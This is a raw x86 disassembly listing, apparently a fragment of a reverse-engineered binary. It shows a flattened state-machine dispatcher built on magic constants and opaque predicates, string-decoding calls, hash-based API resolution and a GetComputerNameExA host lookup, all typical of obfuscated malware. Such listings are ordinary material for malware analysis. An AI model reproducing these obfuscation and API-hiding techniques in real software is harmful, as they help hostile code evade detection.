cmp eax, 0xd5c46b10
jne 0x433317
push dword [esi + 0x24]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x5e631d97
jmp 0x433317
cmp eax, 0x2cecd9f4
je 0x43733a
cmp eax, 0x2d0cd768
je 0x437366
cmp eax, 0x2dce13d0
jne 0x433317
mov eax, dword [esi + 4]
add eax, 0xffffffc1
shr eax, 6
imul ecx, eax, 0x58
add ecx, 0x28e8
mov dword [esi + 4], ecx
mov eax, 0x375c1a1a
cmp ecx, 0xb2
jl 0x438402
mov eax, 0x508dfb4c
jmp 0x438402
cmp eax, 0xb218a53a
je 0x4373b1
cmp eax, 0xb3955f7b
je 0x4373bc
cmp eax, 0xb3ca34d2
jne 0x433317
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x7c]
add ecx, 0xfffffee9
imul eax, eax
imul edx, eax, 0xb5d
dec edx
shr ecx, 0xd
mov dword [esi + 8], ecx
mov ecx, 0xb6a34bc2
cmp eax, edx
je 0x4381ca
mov ecx, 0xd562ff25
jmp 0x4381ca
cmp eax, 0x7590f0fe
je 0x4373d6
cmp eax, 0x782282a6
je 0x437413
cmp eax, 0x789b2fa9
jne 0x433317
mov eax, dword [esi + 4]
shl eax, 0xb
mov edi, 0xf33e381b
add eax, 0xfffc1000
mov dword [esi + 4], eax
je 0x434bc3
mov edi, 0xa87d953
call fcn.00407d26
mov dword [esi], edi
jmp 0x433317
cmp eax, 0xf4663ab1
je 0x437446
cmp eax, 0xf4d683d7
je 0x43746d
cmp eax, 0xf562b189
jne 0x433317
push 1
push 0x41
call fcn.0044bd43
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi], 0x366a8f86
jmp 0x433317
cmp eax, 0xfbe92400
je 0x4374b0
cmp eax, 0xfc921bf5
je 0x4374c6
cmp eax, 0xfca43b8f
jne 0x433317
imul eax, dword [esi + 4], 0x1e4000
mov dword [esi + 4], eax
call fcn.00407d26
mov dword [esi], 0xe57461c3
jmp 0x433317
cmp eax, 0x8509b7d8
je 0x4374ff
cmp eax, 0x850da2bb
je 0x437521
cmp eax, 0x863a2336
jne 0x433317
mov ecx, dword [esi + 4]
shl ecx, 0xc
add ecx, 0x39000
mov eax, ecx
shr eax, 6
mov dword [esi + 4], eax
mov eax, 0x630b484b
cmp ecx, 0x3d80
jb 0x438402
mov eax, 0x4475c09c
jmp 0x438402
cmp eax, 0x3597512b
je 0x43754b
cmp eax, 0x35ce95f3
je 0x437582
cmp eax, 0x366a8f86
jne 0x433317
imul eax, dword [esi + 8], 0xeb
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5cf7
dec edx
add eax, 0xffffffb1
mov dword [esi + 8], eax
mov eax, 0xd914716f
cmp ecx, edx
je 0x43836e
mov eax, 0xec44c6ee
jmp 0x43836e
cmp eax, 0xbeafbe88
je 0x4375b2
cmp eax, 0xbf762f50
je 0x4375eb
cmp eax, 0xc02aa3de
jne 0x433317
mov eax, dword [esi + 8]
and eax, 0xffffffe0
shl eax, 0x13
lea eax, [eax + eax*2]
add eax, eax
add eax, 0xfffff9e8
mov dword [esi + 8], eax
mov dword [esi], 0xa87d953
jmp 0x433317
cmp eax, 0x15fa78a4
je 0x43763c
cmp eax, 0x164f71a1
je 0x437659
cmp eax, 0x1896314a
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 9
add eax, 0xffffff1d
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4c39
dec edx
mov eax, 0x83fc6d78
cmp edx, ecx
je 0x43836e
mov eax, 0x114320ae
jmp 0x43836e
cmp eax, 0xa141c1ec
je 0x43768e
cmp eax, 0xa16d3975
je 0x43770d
cmp eax, 0xa1a452a5
jne 0x433317
push dword [esi + 0x17c]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x180], eax
mov dword [esi], 0x173755c
jmp 0x433317
cmp eax, 0x58d7c070
je 0x437756
cmp eax, 0x5966d6ac
je 0x437761
cmp eax, 0x59e1d201
jne 0x433317
mov ecx, dword [esi + 4]
add ecx, 0xfffffff9
shr ecx, 2
add ecx, 0x20
mov dword [esi + 4], ecx
mov eax, 0x630b484b
cmp ecx, 0xea
jne 0x435dfb
jmp 0x43836e
cmp eax, 0xe0ce4395
je 0x437784
cmp eax, 0xe112a8d8
je 0x4377b4
cmp eax, 0xe1cbe720
jne 0x433317
mov dword [esi], 0x9d4ee772
jmp 0x433317
cmp eax, 0xc805c99
je 0x4377cd
cmp eax, 0xcb0fbf0
je 0x4377eb
cmp eax, 0xd57c854
jne 0x433317
imul edi, dword [esi + 4], 0x5166
mov dword [esi + 4], edi
push 0x4b0d
push edi
push 0xa0b
push 0x2f76
call fcn.00438550
add esp, 0x10
push edi
call fcn.00433300
add esp, 4
mov eax, 0x411b18cb
cmp edi, 0x84
jae 0x43836e
mov eax, 0xbeafbe88
jmp 0x43836e
cmp eax, 0x94d41fcc
je 0x437800
cmp eax, 0x94fbdada
je 0x43781a
cmp eax, 0x959ee4ba
jne 0x433317
push 4
push 0x46f51e
push 6
push dword [esi + 0x78]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x78]
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [esi + 0x1f4], ecx
mov dword [esi + 0x1f7], eax
lea eax, [esi + 0x1f4]
push eax
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xe8]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
push 1
push 0x8000
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xec], eax
mov dword [esi], 0x427e6b9c
jmp 0x433317
cmp eax, 0x4475c09c
je 0x437857
cmp eax, 0x44c10536
je 0x437884
cmp eax, 0x45dda33e
jne 0x433317
mov ecx, dword [esi + 4]
add ecx, 0xffffffd5
mov dword [esi + 4], ecx
mov eax, 0x86f9a22e
cmp ecx, 0x61
jae 0x438402
mov eax, 0xa1a452a5
jmp 0x438402
cmp eax, 0xd02223be
je 0x43791f
cmp eax, 0xd05b7f21
je 0x43795e
cmp eax, 0xd1dcb68d
jne 0x433317
push 0x16
push dword [esi + 0xdc]
push dword [esi + 0x5c]
call fcn.004409a0
add esp, 0xc
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
push eax
push dword [esi + 0xc]
push dword [esi + 0x5c]
push dword [ebp + 8]
call fcn.0041eef6
add esp, 0x10
mov dword [esi], 0x3266c6ca
jmp 0x433317
cmp eax, 0x2953b9f6
je 0x43798f
cmp eax, 0x2a06db1b
je 0x4379d8
cmp eax, 0x2b60bfed
jne 0x433317
mov eax, dword [esi + 8]
mov ecx, 0xffffff23
add eax, ecx
mov ecx, eax
shl ecx, 0x1b
imul eax, eax
or ecx, 0x71000
imul edx, eax, 0x56d1
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x1af124cf
cmp edx, eax
je 0x4381ca
mov ecx, 0xba6311c4
jmp 0x4381ca
cmp eax, 0xb04edff9
je 0x4379e3
cmp eax, 0xb0fa851f
je 0x437a0d
cmp eax, 0xb11ae242
jne 0x433317
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.004414a0
add esp, 0xc
mov dword [esi], 0x9c9ae2ee
jmp 0x433317
cmp eax, 0x6f4f0b35
je 0x437a2d
cmp eax, 0x7131b82e
je 0x437a4e
cmp eax, 0x719fe0ff
jne 0x433317
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x134]
mov dword [esi + 0x138], eax
mov dword [esi], 0x7f31619f
jmp 0x433317
cmp eax, 0xede0b7b1
je 0x437a96
cmp eax, 0xf0558411
je 0x437ad0
cmp eax, 0xf18aa5e7
jne 0x433317
mov eax, dword [esi + 4]
shl eax, 0x10
add eax, 0xde000
mov dword [esi + 4], eax
mov dword [esi], 0xd05b7f21
jmp 0x433317
cmp eax, 0x4a38f21
je 0x437adb
cmp eax, 0x5d2b445
je 0x437b08
cmp eax, 0x6c7ffcc
jne 0x433317
mov eax, dword [esi + 0x74]
add eax, 0x18
mov dword [esi + 0x140], eax
mov dword [esi], 0xa0519cc0
jmp 0x433317
cmp eax, 0x8bd3325c
je 0x437b2d
cmp eax, 0x8c9a7c36
je 0x437b66
cmp eax, 0x8da7a2e7
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 0xb
lea ecx, [eax - 0xf8]
imul ecx, ecx
imul edx, ecx, 0x5219
add eax, 0xffffff62
dec edx
shr eax, 3
mov dword [esi + 8], eax
mov eax, 0x6d1dd2ca
cmp edx, ecx
je 0x43836e
mov eax, 0x47ca0205
jmp 0x43836e
cmp eax, 0x3df9b996
je 0x437b9b
cmp eax, 0x3e76fd7f
je 0x438479
cmp eax, 0x3f742007
jne 0x433317
push dword [esi + 0xe4]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov dword [esi + 0x184], eax
mov dword [esi], 0xe99d364
jmp 0x433317
cmp eax, 0xc612c5ad
je 0x437bba
cmp eax, 0xc7289447
je 0x437bd4
cmp eax, 0xc790f37e
jne 0x433317
push 1
push 0x20
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xe4], eax
push 0xa
push dword [esi + 0xe0]
push dword [esi + 0x11c]
call fcn.0044a30c
add esp, 0xc
mov dword [esi], 0x8c9a7c36
jmp 0x433317
cmp eax, 0x1d8ef52a
je 0x437c0a
cmp eax, 0x1f54ac28
je 0x437c18
cmp eax, 0x1f64fb16
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 0xd
add eax, 0x40
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x744b
dec edx
shr eax, 5
imul eax, eax, 0xa6
mov dword [esi + 8], eax
mov eax, 0x1b9c2852
cmp edx, ecx
jne 0x437a8c
jmp 0x43836e
cmp eax, 0xa8be00b9
je 0x437c51
cmp eax, 0xa934331e
je 0x437c86
cmp eax, 0xa953ddc3
jne 0x433317
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x90]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xf0]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x178], eax
mov dword [esi], 0xb92cdf6
jmp 0x433317
cmp eax, 0x65cb1f62
je 0x437cbd
cmp eax, 0x673f437d
je 0x437ce3
cmp eax, 0x674fda92
jne 0x433317
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x9c2fd435
jmp 0x433317
cmp eax, 0xe57461c3
je 0x437cfd
cmp eax, 0xe663ea5a
je 0x437d14
cmp eax, 0xe680363f
jne 0x433317
mov eax, dword [esi + 0x15c]
mov word [eax], 0xa
mov eax, dword [esi + 0x18]
push dword [esi + 0x18]
call fcn.0043dcb8
add esp, 4
mov dword [esi + 0x160], eax
mov dword [esi], 0xa098f6f1
jmp 0x433317
cmp eax, 0x1171bc90
je 0x437d2b
cmp eax, 0x11f24231
je 0x437d5b
cmp eax, 0x12952900
jne 0x433317
mov eax, dword [esi + 0xd0]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xd0]
mov ecx, dword [0x46f613]
mov dword [eax + 8], ecx
mov ecx, dword [0x46f60f]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f60b]
mov dword [eax], ecx
mov dword [esi], 0xe910e548
jmp 0x433317
cmp eax, 0x9c2fd435
je 0x437d98
cmp eax, 0x9c9ae2ee
je 0x437dbd
cmp eax, 0x9cc835ea
jne 0x433317
mov ecx, dword [esi + 4]
mov eax, 0xfffffe5c
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x524f7fc6
cmp ecx, 0xb4
jae 0x43836e
mov eax, 0x8eaab81d
jmp 0x43836e
cmp eax, 0x4fabe3a2
je 0x438490
cmp eax, 0x508dfb4c
je 0x437dea
cmp eax, 0x516304b9
jne 0x433317
imul eax, dword [esi + 8], 0xb4000
add eax, 0xfa54b0e2
mov dword [esi + 8], eax
mov dword [esi], 0x80002f72
jmp 0x433317
cmp eax, 0xd73ceb27
je 0x437e23
cmp eax, 0xd7b4c8d6
je 0x437e4c
cmp eax, 0xd7d12a07
jne 0x433317
mov eax, dword [esi + 4]
shr eax, 6
imul edi, eax, 0xd9
mov dword [esi + 4], edi
push 0x36e2
push 0x112a
push 0x61cd
push edi
call fcn.004384b0
add esp, 0x10
push 0xaa4
push edi
push 0x4d0d
push 0x2390
call fcn.00438550
add esp, 0x10
mov eax, 0x59e1d201
cmp edi, 0x70
jae 0x437afe
jmp 0x43836e
cmp eax, 0x2e8f3ae5
je 0x437e74
cmp eax, 0x2eac4378
je 0x437e7f
cmp eax, 0x2f07c3be
jne 0x433317
push 0x18
push 0x465c20
push dword [esi + 0x98]
call fcn.004409a0
add esp, 0xc
push 6
push 0x465c38
push 0xc
push dword [esi + 0x98]
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0xd7b4c8d6
jmp 0x433317
cmp eax, 0xb6a34bc2
je 0x437eab
cmp eax, 0xb749251a
je 0x437eda
cmp eax, 0xb8fc25e5
jne 0x433317
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x18]
mov dword [esi], 0x7fe3d7a
jmp 0x433317
cmp eax, 0x7c4f8091
je 0x437f07
cmp eax, 0x7e22b5d6
je 0x437f2d
cmp eax, 0x7f31619f
jne 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
add eax, 0xf
mov dword [esi + 0x13c], eax
mov dword [esi], 0x79322a22
jmp 0x433317
cmp eax, 0xf7f4c541
je 0x437f5a
cmp eax, 0xf81480c8
je 0x437f8c
cmp eax, 0xf85c6f06
jne 0x433317
mov eax, dword [esi + 4]
lea ecx, [eax + eax]
add ecx, 0xbf800
mov eax, 0x6d1dd2ca
and ecx, 0xfffff800
mov dword [esi + 4], ecx
je 0x43836e
mov eax, 0xf81480c8
jmp 0x43836e
cmp eax, 0xfe34094c
je 0x437fc6
cmp eax, 0xfee0ed44
jne 0x43845e
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x369d02bb
jmp 0x433317
cmp eax, 0x80002f72
je 0x437ff7
cmp eax, 0x81e12f62
jne 0x433317
mov dword [esi], 0xf59aa411
jmp 0x433317
cmp eax, 0x301d9481
je 0x438052
cmp eax, 0x323e6350
jne 0x433317
mov eax, dword [esi + 8]
shr eax, 0xb
lea eax, [eax*4 - 0xc9]
mov dword [esi + 8], eax
mov dword [esi], 0xa953ddc3
jmp 0x433317
cmp eax, 0xba19f14a
je 0x43809b
cmp eax, 0xba621180
jne 0x433317
mov edi, dword [esi + 4]
mov eax, 0x84
add edi, eax
mov eax, edi
shr eax, 9
mov dword [esi + 4], eax
push 0x37e
push 0x4cf
push 0x23fe
push eax
call fcn.00438550
add esp, 0x10
mov eax, 0x87c33b4e
cmp edi, 0x1f800
jb 0x43836e
mov eax, 0xbae1f94a
jmp 0x43836e
cmp eax, 0x1314e9f5
je 0x4380a6
cmp eax, 0x13ed62a0
jne 0x433317
imul ecx, dword [esi + 4], 0x16400
mov dword [esi + 4], ecx
mov eax, 0x6a910d02
cmp ecx, 0x59
jl 0x438402
mov eax, 0x782282a6
jmp 0x438402
cmp eax, 0x9d4ee772
je 0x4380d6
cmp eax, 0x9ddfb641
jne 0x433317
mov eax, dword [esi + 0x154]
mov byte [eax], 0
mov eax, dword [esi + 0x80]
mov cl, byte [0x46f54d]
mov byte [eax + 0xc], cl
mov ecx, dword [0x46f549]
mov dword [eax + 8], ecx
mov ecx, dword [0x46f545]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f541]
mov dword [eax], ecx
push 7
push 0x46f54e
push 0xd
push dword [esi + 0x80]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x80]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x28]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0x154e76aa
jmp 0x433317
cmp eax, 0x5201ec0c
je 0x438109
cmp eax, 0x524f7fc6
jne 0x433317
push 6
push 0x465bb4
push 0xa
push dword [esi + 0x64]
call fcn.004384b0
add esp, 0x10
push dword [esi + 0x64]
push 0x3d95e230
call fcn.0043b928
add esp, 8
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0x120], eax
push edi
push 0x20
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xe0], eax
mov dword [esi], 0x164f71a1
jmp 0x433317
cmp eax, 0xd88ce2bb
je 0x43813c
cmp eax, 0xd914716f
jne 0x433317
mov eax, dword [esi + 0x6c]
mov cl, byte [0x46f4fb]
mov byte [eax + 0xa], cl
movzx ecx, word [0x46f4f9]
mov word [eax + 8], cx
mov ecx, dword [0x46f4f5]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f4f1]
mov dword [eax], ecx
mov dword [esi], 0x6f32ba4
jmp 0x433317
cmp eax, 0x6f32ba4
je 0x43814a
cmp eax, 0x7d607d0
jne 0x433317
mov eax, dword [esi + 4]
add eax, 0x61
shr eax, 8
imul edi, eax, 0x214000
add edi, 0xfff80000
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
mov eax, 0x150f2f51
cmp edi, 0x1b
jge 0x43836e
mov eax, 0x7131b82e
jmp 0x43836e
cmp eax, 0x8e6e61a8
je 0x438196
cmp eax, 0x8eaab81d
jne 0x433317
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x64]
mov word [eax + 0x14], 0
push 0x14
push 0x465ba0
push dword [esi + 0x64]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x524f7fc6
jmp 0x433317
cmp eax, 0x408dfb0c
je 0x4381d1
cmp eax, 0x411b18cb
jne 0x433317
imul edi, dword [esi + 4], 0x2a0
add edi, 0xfffffe60
and edi, 0xffffffc0
add edi, 0xffffff32
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
mov eax, 0xe5444044
cmp edi, 0x80
jae 0x437f50
jmp 0x43836e
cmp eax, 0xc7e3c84f
je 0x4381dc
cmp eax, 0xc7f149d1
jne 0x433317
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x5b]
imul eax, eax
imul edx, eax, 0x6d95
dec edx
shl ecx, 0xf
add ecx, 0xff8d8000
mov dword [esi + 8], ecx
mov ecx, 0xc790f37e
cmp eax, edx
je 0x4381ca
mov ecx, 0x2a06db1b
jmp 0x4381ca
cmp eax, 0x1fcf7e4a
je 0x43821a
cmp eax, 0x2132dcdb
jne 0x433317
movzx eax, word [esi + 6]
imul ecx, eax, 0x7b
lea eax, [ecx + 0xe8]
shr eax, 4
add eax, 0xffffffe4
mov dword [esi + 4], eax
mov eax, 0x719fe0ff
cmp ecx, 0x608
jae 0x438402
mov eax, 0x56e558fd
jmp 0x438402
cmp eax, 0xab04b21d
je 0x43824d
cmp eax, 0xab637620
jne 0x433317
mov edi, dword [esi + 4]
shr edi, 9
and edi, 0x3fffff
lea ebx, [edi + 0x69]
mov dword [esi + 4], ebx
push 0x605
push 0x2eb0
push 0x1398
push ebx
call fcn.00438550
add esp, 0x10
push 0x605a
push ebx
push 0x177e
call fcn.0042448a
add esp, 0xc
mov eax, 0x8410c221
cmp edi, 0x51
jae 0x435e88
jmp 0x43836e
cmp eax, 0x6a332555
je 0x43826a
cmp eax, 0x6a428a4e
jne 0x433317
mov ecx, dword [esi + 4]
shl ecx, 0xa
or ecx, 0x5c
mov dword [esi + 4], ecx
mov eax, 0x9f39c676
cmp ecx, 0xcd
jge 0x43836e
mov eax, 0x4bc4c343
jmp 0x43836e
cmp eax, 0xe6fb631d
je 0x438299
cmp eax, 0xe910e548
jne 0x433317
imul eax, dword [esi + 8], 0x7a00000
shr eax, 9
imul eax, eax, 0x51000
mov dword [esi + 8], eax
mov dword [esi], 0xad5b1702
jmp 0x433317
cmp eax, 0x127c5d7
je 0x4382a8
cmp eax, 0x173755c
jne 0x433317
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 5
imul eax, eax
imul edx, eax, 0x12b7
dec edx
shl ecx, 5
and ecx, 0x1ffc00
mov dword [esi + 8], ecx
mov ecx, 0xa520232e
cmp eax, edx
je 0x4381ca
mov ecx, 0x39083938
jmp 0x4381ca
cmp eax, 0x86c08b96
je 0x4382d2
cmp eax, 0x86f9a22e
jne 0x433317
mov eax, dword [esi + 0x14c]
mov word [eax], 0xa
mov dword [esi], 0xb218a53a
jmp 0x433317
cmp eax, 0x369d02bb
je 0x4382ff
cmp eax, 0x36c848d1
jne 0x433317
push 5
push 0x465c68
push 0xc
push dword [esi + 0xd4]
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0x3325a9b7
jmp 0x433317
cmp eax, 0xc0cd4a34
je 0x43830d
cmp eax, 0xc2428242
jne 0x433317
imul eax, dword [esi + 8], 0x1f590
mov dword [esi + 8], eax
mov dword [esi], 0x2f07c3be
jmp 0x433317
cmp eax, 0x18d9f315
je 0x438337
cmp eax, 0x19710da0
jne 0x433317
mov eax, dword [esi + 4]
lea edi, [eax + eax]
add edi, 0xfffffe42
mov dword [esi + 4], edi
call fcn.00407d26
push edi
call fcn.00433300
add esp, 4
mov dword [esi], 0x4d3b7e04
jmp 0x433317
cmp eax, 0xa2289e00
je 0x438375
cmp eax, 0xa30b2c58
jne 0x433317
imul edi, dword [esi + 4], 0x1080
add edi, 0xa1
mov eax, edi
shr eax, 0xc
mov dword [esi + 4], eax
call fcn.00407d26
mov eax, 0xe2e8a630
cmp edi, 0x6000
jae 0x43836e
mov eax, 0x86c08b96
jmp 0x43836e
cmp eax, 0x5ab416d0
je 0x43839d
cmp eax, 0x5c26d242
jne 0x433317
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 8
imul eax, eax
shr ecx, 0x19
imul edx, eax, 0x1fe1
dec edx
imul ecx, ecx, 0xf4
shr ecx, 6
mov dword [esi + 8], ecx
mov ecx, 0x84554dd1
cmp eax, edx
je 0x4381ca
mov ecx, 0xd05b7f21
jmp 0x4381ca
cmp eax, 0xe2af09d8
je 0x4383ce
cmp eax, 0xe2e8a630
jne 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x3c], eax
mov dword [esi], 0xe38d4443
jmp 0x433317
cmp eax, 0xdd53c68
je 0x438409
cmp eax, 0xe67f83a
jne 0x433317
mov eax, dword [esi + 8]
shl eax, 0x14
add eax, 0xffffff28
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x425df280
jmp 0x433317
cmp eax, 0x9659fc8b
je 0x438422
cmp eax, 0x9858f92c
jne 0x433317
push 0xa
push dword [esi + 0xfc]
push dword [esi + 0x1e4]
call fcn.0044a30c
add esp, 0xc
mov dword [esi], 0x9c15aef3
jmp 0x433317
cmp eax, 0x472e3cc0
je 0x438444
cmp eax, 0x475d0cae
jne 0x433317
lea eax, [esi + 0x14]
push eax
push dword [esi + 0x2c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0xcb0fbf0
jmp 0x433317
imul eax, dword [esi + 8], 0xdc
add eax, 0xffffff2a
shr eax, 0xf
add eax, 0xffffff23
mov dword [esi + 8], eax
mov dword [esi], 0xe2fec062
jmp 0x433317
mov eax, dword [esi + 0x1e0]
push dword [esi + 0x20]
call eax
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x100], ecx
mov dword [esi + 0x104], eax
mov dword [esi], 0x2e8e5f5e
jmp 0x433317
mov dword [esi], 0x455283a
jmp 0x433317
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xd4], eax
mov eax, dword [esi + 0xd4]
mov word [eax + 0x18], 0
mov dword [esi], 0x43745cb4
jmp 0x433317
mov eax, dword [esi + 0x30]
mov dword [esi], 0xa520232e
jmp 0x433317
mov edi, dword [esi + 4]
mov eax, 0xffffff3b
add edi, eax
mov eax, edi
shr eax, 0x10
add eax, 0xffffff77
mov dword [esi + 4], eax
call fcn.00407d26
call fcn.00407d26
mov eax, 0x181c18f
cmp edi, 0xa50000
jb 0x438402
mov eax, 0xc790f37e
jmp 0x438402
mov ecx, dword [esi + 4]
mov eax, 0xffffff43
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x6a428a4e
cmp ecx, 0x53
jae 0x43836e
mov eax, 0xb6a34bc2
jmp 0x43836e
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1b8]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
add eax, 0x18
mov dword [esi + 0x1bc], eax
mov dword [esi], 0x1af124cf
jmp 0x433317
imul edi, dword [esi + 4], 0x284000
mov dword [esi + 4], edi
push 0x4126
push 0x2acd
push 0x492e
push edi
call fcn.004384b0
add esp, 0x10
mov eax, 0x83fc6d78
cmp edi, 3
jge 0x438402
mov eax, 0xf884d28d
jmp 0x438402
mov eax, dword [esi + 4]
mov ecx, 0xffffff66
add eax, ecx
shr eax, 0x17
imul ecx, eax, 0xc1
mov dword [esi + 4], ecx
mov eax, 0xc7e3c84f
cmp ecx, 0x5b
jb 0x43836e
mov eax, 0x7b829d7e
jmp 0x43836e
mov eax, dword [esi + 0x12c]
mov byte [eax], 0
mov dword [esi], 0xd914716f
jmp 0x433317
mov eax, dword [esi + 4]
shl eax, 0xe
add eax, 0xffffff80
shr eax, 0x1b
mov dword [esi + 4], eax
mov dword [esi], 0x2f07c3be
jmp 0x433317
mov eax, dword [esi + 0x130]
mov word [eax], 0xa
mov dword [esi], 0x11f24231
jmp 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x54], eax
push eax
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x5c], eax
mov dword [esi], 0x444b1400
jmp 0x433317
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x90]
add eax, 0xe
mov dword [esi + 0x174], eax
mov dword [esi], 0x8da7a2e7
jmp 0x433317
mov dword [esi + 0x114], 0x8000
mov dword [esi], 0xe5444044
jmp 0x433317
mov dword [esi], 0xd73ceb27
jmp 0x433317
mov dword [esi + 0x110], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
mov word [eax + 0x18], 0
mov dword [esi], 0x5c26d242
jmp 0x433317
mov eax, dword [esi + 4]
add eax, eax
add eax, 0xffcf0000
and eax, 0xffff8000
add eax, 0xffffff76
mov dword [esi + 4], eax
call fcn.00407d26
mov dword [esi], 0xd5c46b10
jmp 0x433317
mov eax, dword [esi + 0x10]
add eax, 0xc
mov dword [esi + 0x1a0], eax
mov dword [esi], 0xab8a5b55
jmp 0x433317
mov eax, dword [esi + 8]
shl eax, 9
and eax, 0x7fffe00
imul eax, eax, 0xbc
or eax, 0x24
mov dword [esi + 8], eax
mov dword [esi], 0x8b26ba60
jmp 0x433317
mov eax, dword [esi + 0x140]
mov word [eax], 0
mov dword [esi], 0xab04b21d
jmp 0x433317
imul eax, dword [esi + 8], 0xd2
shr eax, 3
and eax, 0x1ffffc00
mov dword [esi + 8], eax
mov dword [esi], 0x472e3cc0
jmp 0x433317
mov edi, 0x14
push edi
push 0x46f5e0
push dword [esi + 0x94]
call fcn.004409a0
add esp, 0xc
push 5
push 0x46f5f4
push edi
push dword [esi + 0x94]
call fcn.00438550
add esp, 0x10
mov dword [esi], 0xa934331e
jmp 0x433317
mov edi, dword [esi + 4]
mov eax, 0xbd
add edi, eax
mov eax, edi
shr eax, 0xa
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
mov eax, 0xc3ec41d0
cmp edi, 0xa400
jae 0x438402
mov eax, 0x3fd5b54
jmp 0x438402
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x16c], eax
mov eax, dword [esi + 0x160]
mov eax, dword [eax*4 + 0x46f4a0]
mov dword [esi + 0x170], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x8c], eax
